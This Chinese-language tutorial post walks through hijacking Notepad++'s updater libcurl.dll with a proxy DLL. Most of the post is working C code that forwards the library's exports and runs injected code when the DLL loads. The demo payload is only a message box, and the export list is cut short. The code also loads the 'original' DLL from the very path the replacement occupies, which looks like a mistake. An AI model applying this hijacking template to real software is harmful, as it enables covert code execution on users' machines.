DLL文件是用来保存用户自定义的函数的动态链接库文件 ,而对于刚接触这个的我简单的看来,在原有的软件动态链接库文件里加入自己的代码,就是dll劫持。这里,我花了一个下午的实验来初步的了解这个技术,并做了简单的实验。实验对象是notepad++;
1)对notepad++应用进行分析,看过其文件夹之后,发现在updater文件夹下有libcurl.dll的文件,想应该notepad应该是基于curl应用来进行升级。所以在其升级的过程中一定会调用libcurl.dll这个动态链接库,故此,目标就选择这个啦~
2)用loadPE打开libcurl.dll来看其导出表中的函数,其内容如下所示:
该dll文件中的函数名字数目有0x00000037个,也就是55个函数名,为了确定这55都是函数而不是常量,在用IDE打开看这55个函数的内容以加确定。
确定55个都是函数之后,那就好办了,直接用VC6建立一个dll工程,上代码:
首先,定义导出函数:
#include "stdafx.h"
#include <process.h>
#pragma comment(linker,"/EXPORT:curl_easy_cleanup=_hack_curl_easy_cleanup,@1")
#pragma comment(linker,"/EXPORT:curl_easy_duphandle=_hack_curl_easy_duphandle,@2")
#pragma comment(linker,"/EXPORT:curl_easy_escape=_hack_curl_easy_escape,@3")
#pragma comment(linker,"/EXPORT:curl_easy_getinfo=_hack_curl_easy_getinfo,@4")
#pragma comment(linker,"/EXPORT:curl_easy_init=_hack_curl_easy_init,@5")
#pragma comment(linker,"/EXPORT:curl_easy_perform=_hack_curl_easy_perform,@6")
#pragma comment(linker,"/EXPORT:curl_easy_reset=_hack_curl_easy_reset,@7")
#pragma comment(linker,"/EXPORT:curl_easy_setopt=_hack_curl_easy_setopt,@8")
#pragma comment(linker,"/EXPORT:curl_easy_strerror=_hack_curl_easy_strerror,@9")
#pragma comment(linker,"/EXPORT:curl_easy_unescape=_hack_curl_easy_unescape,@10")
#pragma comment(linker,"/EXPORT:curl_escape=_hack_curl_escape,@11")
#pragma comment(linker,"/EXPORT:curl_formadd=_hack_curl_formadd,@12")
#pragma comment(linker,"/EXPORT:curl_formfree=_hack_curl_formfree,@13")
#pragma comment(linker,"/EXPORT:curl_formget=_hack_curl_formget,@14")
#pragma comment(linker,"/EXPORT:curl_free=_hack_curl_free,@15")
#pragma comment(linker,"/EXPORT:curl_getdate=_hack_curl_getdate,@16")
#pragma comment(linker,"/EXPORT:curl_getenv=_hack_curl_getenv,@17")
#pragma comment(linker,"/EXPORT:curl_global_cleanup=_hack_curl_global_cleanup,@18")
#pragma comment(linker,"/EXPORT:curl_global_init=_hack_curl_global_init,@19")
#pragma comment(linker,"/EXPORT:curl_global_init_mem=_hack_curl_global_init_mem,@20")
#pragma comment(linker,"/EXPORT:curl_maprintf=_hack_curl_maprintf,@21")
#pragma comment(linker,"/EXPORT:curl_mfprintf=_hack_curl_mfprintf,@22")
#pragma comment(linker,"/EXPORT:curl_mprintf=_hack_curl_mprintf,@23")
#pragma comment(linker,"/EXPORT:curl_msnprintf=_hack_curl_msnprintf,@24")
#pragma comment(linker,"/EXPORT:curl_msprintf=_hack_curl_msprintf,@25").......
然后,加载原有dll:
namespace _hack
{
HMODULE m_hModule = NULL; // 原始模块句柄
// 加载原始模块
inline BOOL WINAPI Load()
{
/* TCHAR tzPath[MAX_PATH];*/
TCHAR tzTemp[MAX_PATH * 2];
m_hModule=LoadLibrary("C:\\Program Files\\Notepad++\\updater\\libcurl.dll");
if (m_hModule == NULL)
{
wsprintf(tzTemp, TEXT("无法加载 %s,程序无法正常运行。"), TEXT("libcurl"));
MessageBox(NULL, tzTemp, TEXT("libcurl"), MB_ICONSTOP);
};
return (m_hModule != NULL);
}
// 释放原始模块
inline VOID WINAPI Free()
{
if (m_hModule)
{
FreeLibrary(m_hModule);
}
}
// 获取原始函数地址
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
FARPROC fpAddress;
CHAR szProcName[16];
TCHAR tzTemp[MAX_PATH];
fpAddress = GetProcAddress(m_hModule, pszProcName);
if (fpAddress == NULL)
{
if (HIWORD(pszProcName) == 0)
{
wsprintf(szProcName, "%d", pszProcName);
pszProcName = szProcName;
}
wsprintf(tzTemp, TEXT("无法找到函数 %hs,程序无法正常运行。"), pszProcName);
MessageBox(NULL, tzTemp, TEXT("libcurl"), MB_ICONSTOP);
ExitProcess(-2);
}
return fpAddress;
}
}
using namespace _hack;
在下来定义在初始化时候,自己想要执行的代码,这个部分就是我们添加的部分:
void WINAPIV Init(LPVOID pParam);
void WINAPIV Init(LPVOID pParam)
{
//添加的自己的代码
MessageBox(NULL, TEXT("THIS IS WORK"), TEXT("AheadLib"), MB_ICONSTOP);
return;
}
主函数,这个没什么说的,判断->启动线程:
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
if(Load())
{
//LpkEditControl这个数组有14个成员,必须将其复制过来
_beginthread(Init,NULL,NULL);
}
else
return FALSE;
}
else if (ul_reason_for_call == DLL_PROCESS_DETACH)
{
Free();
}
return TRUE;
}
然后就是将我们构造的导出函数一一转发:
ALCDECL hack_curl_easy_cleanup(void)
{
GetAddress("curl_easy_cleanup");
__asm{
JMP EAX;
}
}......
将遍以后的dll替换原有的dll,打开notepad++升级,THIS IS WORK~